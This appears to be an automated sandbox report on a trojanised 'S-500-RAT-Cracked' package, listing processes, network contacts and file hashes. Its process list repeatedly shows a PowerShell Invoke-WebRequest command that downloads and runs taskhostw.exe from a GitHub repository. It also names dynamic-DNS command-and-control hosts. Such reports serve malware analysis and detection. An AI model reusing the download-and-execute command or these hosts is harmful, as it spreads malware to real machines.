PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 1956 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 168 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 168 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1680 wrote to memory of 2992 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe

Processes

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://gofile.io/d/E8ookh

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffa4ca99758,0x7ffa4ca99768,0x7ffa4ca99778

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1520 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1796 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2072 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2860 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2868 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4364 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4784 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4844 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4832 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=5256 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4852 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3120 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:8

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\S500RAT.exe

"C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\S500RAT.exe"

C:\ProgramData\vshost\vshost.exe

C:\ProgramData\\vshost\\vshost.exe ,.

C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\core32.cfg

core32.cfg

C:\ProgramData\winst\winst.exe

C:\ProgramData\\winst\\winst.exe UbPpKUw2dCbGNOQc7NADKWvV1lPccuyhpi7HKb3PBcJeCwml11kFqJLnMjfwFNwe

C:\Windows\System32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C92C.tmp\C92D.tmp\C93D.bat C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\core32.cfg"

C:\Windows\system32\chcp.com

chcp 65001

C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe

ServerRegistrationManager.exe

C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\xKeyGenerator.exe

"C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\xKeyGenerator.exe"

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=1680 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2332 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3216 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:1

C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\S500RAT.exe

"C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\S500RAT.exe"

C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\core32.cfg

core32.cfg

C:\Windows\System32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\92E0.tmp\92E1.tmp\92E2.bat C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\core32.cfg"

C:\Windows\system32\chcp.com

chcp 65001

C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe

ServerRegistrationManager.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://github.com/CVE-TEAMDSNH-20230611/20230611VNM/raw/main/taskhostw.exe' -OutFile taskhostw.exe"

C:\Windows\system32\taskhostw.exe

taskhostw.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://github.com/CVE-TEAMDSNH-20230611/20230611VNM/raw/main/taskhostw.exe' -OutFile taskhostw.exe"

C:\Windows\system32\taskhostw.exe

taskhostw.exe

C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\S500RAT.exe

"C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\S500RAT.exe"

C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\core32.cfg

core32.cfg

C:\Windows\System32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CD2A.tmp\CD2B.tmp\CD2C.bat C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\core32.cfg"

C:\Windows\system32\chcp.com

chcp 65001

C:\Users\Admin\Desktop\S-500-RAT-Cracked\S-500-RAT-Cracked\ServerRegistrationManager.exe

ServerRegistrationManager.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://github.com/CVE-TEAMDSNH-20230611/20230611VNM/raw/main/taskhostw.exe' -OutFile taskhostw.exe"

C:\Windows\system32\taskhostw.exe

taskhostw.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=5104 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=1492 --field-trial-handle=1848,i,5770295786116373681,2841380589079668531,131072 /prefetch:1

Network

Country Destination Domain Proto
US 8.8.8.8:53 gofile.io udp
FR 45.112.123.126:443 gofile.io tcp
FR 45.112.123.126:443 gofile.io tcp
FR 45.112.123.126:443 gofile.io udp
US 8.8.8.8:53 126.123.112.45.in-addr.arpa udp
US 8.8.8.8:53 api.gofile.io udp
FR 51.38.43.18:443 api.gofile.io tcp
FR 51.38.43.18:443 api.gofile.io udp
US 8.8.8.8:53 18.43.38.51.in-addr.arpa udp
US 8.8.8.8:53 s.gofile.io udp
FR 51.75.242.210:443 s.gofile.io tcp
N/A 224.0.0.251:5353 udp
FR 51.75.242.210:443 s.gofile.io tcp
US 8.8.8.8:53 210.242.75.51.in-addr.arpa udp
US 8.8.8.8:53 content-autofill.googleapis.com udp
GB 142.250.187.234:443 content-autofill.googleapis.com tcp
US 8.8.8.8:53 ad.a-ads.com udp
US 8.8.8.8:53 234.187.250.142.in-addr.arpa udp
DE 148.251.13.139:443 ad.a-ads.com tcp
US 8.8.8.8:53 static.a-ads.com udp
US 8.8.8.8:53 139.13.251.148.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 cold2.gofile.io udp
FR 31.14.70.251:443 cold2.gofile.io tcp
FR 31.14.70.251:443 cold2.gofile.io tcp
US 8.8.8.8:53 74.204.58.216.in-addr.arpa udp
US 8.8.8.8:53 251.70.14.31.in-addr.arpa udp
US 8.8.8.8:53 stlaip74566.ddnsgeek.com udp
US 162.216.242.206:80 stlaip74566.ddnsgeek.com tcp
US 8.8.8.8:53 206.242.216.162.in-addr.arpa udp
US 8.8.8.8:53 stlaep34621.ddnsgeek.com udp
US 8.8.8.8:53 ip-api.com udp
RO 185.247.224.98:443 stlaep34621.ddnsgeek.com tcp
US 8.8.8.8:53 163.252.19.2.in-addr.arpa udp
US 8.8.8.8:53 98.224.247.185.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 9.179.89.13.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 github.githubassets.com udp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 8.8.8.8:53 154.110.199.185.in-addr.arpa udp
GB 20.26.156.215:443 github.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 185.199.110.154:443 github.githubassets.com tcp
US 8.8.8.8:53 ad.a-ads.com udp
DE 148.251.53.118:443 ad.a-ads.com tcp
US 8.8.8.8:53 118.53.251.148.in-addr.arpa udp
US 8.8.8.8:53 www.google.com udp
GB 142.250.179.228:443 www.google.com tcp
GB 142.250.179.228:443 www.google.com udp
US 8.8.8.8:53 228.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp

Files

\??\pipe\crashpad_1680_EWSGCYDLXJOSZNCL

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json

MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

MD5 3fdb29f14bbaea2b5231690845e85266
SHA1 70a120b685db07bc46e95f90710950bce80c5d12
SHA256 d3c9e7f23eaac0d9d858eec59fc823155d61af65068ac56cc0896e644ff8b447
SHA512 b969a606d948ef2a4ffca88fccf866b6902b61dabec445b554e9078dec5d157e1bca60835afd51d1226c7c32624dcb9507a54394a72ed298aad6c0a8b97a3e91

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 e8174c43f4cc559ed9e9b8b5234979ce
SHA1 243214aaeb5659a4c2c95a6d440157c20366c17c
SHA256 a34e43441e3de36f95b6e2a549b24b14f76f211232999da6f284e8f3dcbb38d2
SHA512 3484894a68e189d90c5d47f71a52b520be570ba31525ac91b3fa16907ab72a55ac6da3ddcedde3803b651196a03ae47a09e1cd0330f20c1cbea6f428e5e87e50

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

MD5 f8ca421e2cdd6aee76f74490e16b865f
SHA1 e3c7b33f44281231aefddbea5ef1b5c5bc661ec2
SHA256 62c1422bcd32290f4800942957d5d61b47eac845d638dbc2e3ef20141122ac37
SHA512 b7113be54acafd8143f678de0110a644472a75101a1cc2a1060f5715429c70dae33733d999b06de7fe3c66cafd66c92644c0078492179348a3102c67739bbf7e

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\fc8e46da-e3fc-450f-8acd-dbb81f524da7.tmp

MD5 7617705df052ffa75ebda86bd392cafe
SHA1 69c41fb0569509eca16616a251f01bb57acb9106
SHA256 d21fc82feaa8bb4bbcb6495e8e4e3c957247c95410e3fc0276dda6534ed67f20
SHA512 9de1071ab90b7071366aff249530cbc38e65cbd83fcbc3e96fa776d912937eeaed3b41fa20d765a4d1bab2d37785ae6f8313610a51612a592f2ba17d89fb3caf

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 ee960e8b8526dc31eee345afee01d0d3
SHA1 2da186d7e492d0d4d38af5c2299104181e6efe0c
SHA256 9e523a7f23ce078c3a2fcf93c237882ada118a1802ced5dc60648c8b84945ca1
SHA512 50f5cd25076a0b5b9c6dfcf5ff44096540d5836d2233ec7a681d0afd0f04094161c969e3682e8553a27aabe6b61aa908059f7d81697dcb93087cacf7eda53e0e

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 e54d7b9e56ee8ca84fe2794cf1616383
SHA1 16b012b89a39de42cb25ef7b84acdf3673d09af3
SHA256 50d7ff8e6947fd150fed1b8cb16c4e9aa990091587745ad0ba23e9710531f042
SHA512 807a4282ee624f8855e6078efb323a644faa4a823d817941b6a41bf0eb90545f380dcd6e666ad75356845446f73775c430e62b5af160acf5550d33f9f8cb0cac

C:\ProgramData\vshost\vshost.exe

MD5 4e6a7ee0e286ab61d36c26bd38996821
SHA1 820674b4c75290f8f667764bfb474ca8c1242732
SHA256 f67daf4bf2ad0e774bbd53f243e66806397036e5fde694f3856b27bc0463c0a3
SHA512 f9d99d960afce980421e654d1d541c1fdb81252615c48eed5c4a5c962cb20123d06dbdf383a37a476aa41e4ffabca30e95a8735739c35f66efbaa1dee8a9ba8a

memory/3816-123-0x0000000000400000-0x0000000000439000-memory.dmp

C:\ProgramData\winst\winst.exe

MD5 59238144771807b1cbc407b250d6b2c3
SHA1 6c9f87cca7e857e888cb19ea45cf82d2e2d29695
SHA256 8baa5811836c0b4a64810f6a7d6e1d31d7f80350c69643dc9594f58fd0233a7b
SHA512 cf2f8b84526ae8a1445a2d8a2b9099b164f80a7b7290f68058583b0b235395d749ad0b726c4e36d5e901c18d6946fd9b0dd76c20016b65dc7a3977f68ee4a220

C:\Users\Admin\AppData\Local\Temp\C92C.tmp\C92D.tmp\C93D.bat

MD5 fc4af7384f0b6f274dd3e745f0aceeaa
SHA1 31b310f869b15b84e52ef282cabaee974e5043cf
SHA256 f27a781bd4e8788990ceecac17ba4b9642e15f0d311e17d62c70db694c207a34
SHA512 dc7b542d89236105c8b8976e5af0e9e557eaa919adb2e8384b55b70c0b5bc6f00d2010538b9abaca90bb797d24fd509acdc1b3a6beea27f11405bf198349f57f

memory/1884-131-0x0000026FC1140000-0x0000026FC2204000-memory.dmp

memory/1884-132-0x0000026FDCC10000-0x0000026FDCE02000-memory.dmp

\Users\Admin\AppData\Local\Temp\c6ef4c2b-9a55-40b4-957b-c3cb74191397\GunaDotNetRT64.dll

MD5 9c43f77cb7cff27cb47ed67babe3eda5
SHA1 b0400cf68249369d21de86bd26bb84ccffd47c43
SHA256 f25b9288fe370dcfcb4823fb4e44ab88c7f5fce6e137d0dba389a3dba07d621e
SHA512 cde6fb6cf8db6f9746e69e6c10214e60b3646700d70b49668a2a792e309714dd2d4c5a5241977a833a95fcde8318abcc89eb9968a5039a0b75726bbfa27125a7

memory/1884-139-0x00007FFA36D70000-0x00007FFA36D97000-memory.dmp

memory/1884-140-0x00007FFA371B0000-0x00007FFA372DC000-memory.dmp

memory/1884-141-0x0000026FDD250000-0x0000026FDD490000-memory.dmp

memory/1884-142-0x0000026FDC9A0000-0x0000026FDC9D2000-memory.dmp

memory/5164-143-0x0000000000190000-0x00000000002B8000-memory.dmp

memory/1884-145-0x0000026FDDE00000-0x0000026FDDE0C000-memory.dmp

memory/1884-146-0x0000026FE36E0000-0x0000026FE36F2000-memory.dmp

memory/1884-147-0x0000026FDDE10000-0x0000026FDDE1A000-memory.dmp

memory/1884-150-0x0000026FE3740000-0x0000026FE377C000-memory.dmp

memory/3816-151-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1884-153-0x00007FFA36D70000-0x00007FFA36D97000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 408d8abf65d40d8d35f560e3b24c4837
SHA1 0cfae63bda2d3ef1cf53a66fb7b18ee4ddeaae22
SHA256 639dd87f78da5d3fc251b91650c585b2136bb96cdfc72439de4496a21c017592
SHA512 9f30385c282ea3b5ac5889604951db1c1bb54530943a95bb3b43444b5f1047a9904d32d06fa6dcbac8e579aac64cac5743718b1295adcd4bc5a137408761943e

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 3f5259f73f0fc0a169ebfcbfd1aa5842
SHA1 dc05f503128ea5cc3c111a2cb2ca06c702c9957f
SHA256 c5725298e66a5efe0a901dafd18aadc014deb966c304cf174a5ab33b25af1b7d
SHA512 e58257cb915789a88750d2a6e49eaf2b987184cd27eb6d4a7a6d47b42242209a63c8256d04c7e513697391d4779b79d3ad8dbd673d12ae5bdcfd681ba264c14c

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

MD5 46d2e46ddb53cda95d9c078d425f84d2
SHA1 c3fc0d1fd3adaa8d661d6c92688154a8403bd103
SHA256 2de3e32a40b452b05ca148bc3b3be7ddd75e3897cdf4c77d1e9a375e3f1057cc
SHA512 957138275a25684f6ecda73183a0a0d6ed5d1115517a3dc8b36ec14af213d94d1456928a745ba1ad9ffed56a4791335068b4b574bc5494a359063dc64ca585eb

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 717012522d177b9c44ada90c39907fe2
SHA1 a16f580f777e1e5ef392e35c9fe4699145e92b90
SHA256 0d96d208f2293233d66d286a85765373725310de72d1ad3641199cb158601d50
SHA512 7b9fec09a27eea96cee7a0325ba1e9080f2915106e13779fc965342643ec1765a048c183e4b7a173cf1e26ac23c9a0c751310d0dbe08b58bd6dd3fe5cd47677d

memory/3844-240-0x00007FFA36D70000-0x00007FFA36D97000-memory.dmp

memory/3844-241-0x00007FFA371B0000-0x00007FFA372DC000-memory.dmp

memory/3844-242-0x000001FCF0480000-0x000001FCF04B2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-160447019-1232603106-4168707212-1000\d533a5560301935f53c58c2fa4238f08_f9d1bf68-a4a3-4e40-8567-86018b80b4b2

MD5 7289ab7c1fd10224199f43e8588ed95e
SHA1 81388a1cd950900e77169585c4d334fbc36cba0e
SHA256 64887a703d27f17026cb5a11469519420b7216c03e5af1a208619407ac0d78d3
SHA512 5d1c1d5c4c216739d0920555c0634c07df81f599679ecea51cf61e73897a389e227b000532d2e7b95b526bb8b4125617d637eb97fa0d5bd738aa363c530307e6

memory/4668-247-0x0000000000400000-0x0000000000439000-memory.dmp

memory/3844-249-0x00007FFA36D70000-0x00007FFA36D97000-memory.dmp

memory/5636-258-0x0000024B304C0000-0x0000024B304E2000-memory.dmp

memory/5636-261-0x0000024B30F50000-0x0000024B30FC6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ajzppyp1.rf2.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/4668-303-0x0000000000400000-0x0000000000439000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ServerRegistrationManager.exe.log

MD5 fa931350508a2b855cce92719c4c207c
SHA1 3b6eb7b920d1c70b9f61b3745523b20828ecf21b
SHA256 1b6609def0e3a0533c446233db9438cdc1901a22acae76affbc4866e25595b0f
SHA512 b85d45035b1e62df0c1032c796796f6e30dd03a992744d9a67e0b812b8e4e690b4acc19921931bdac5f0e0cb4d5ef54f2161da3aadc922fee27a3f49fad6a856

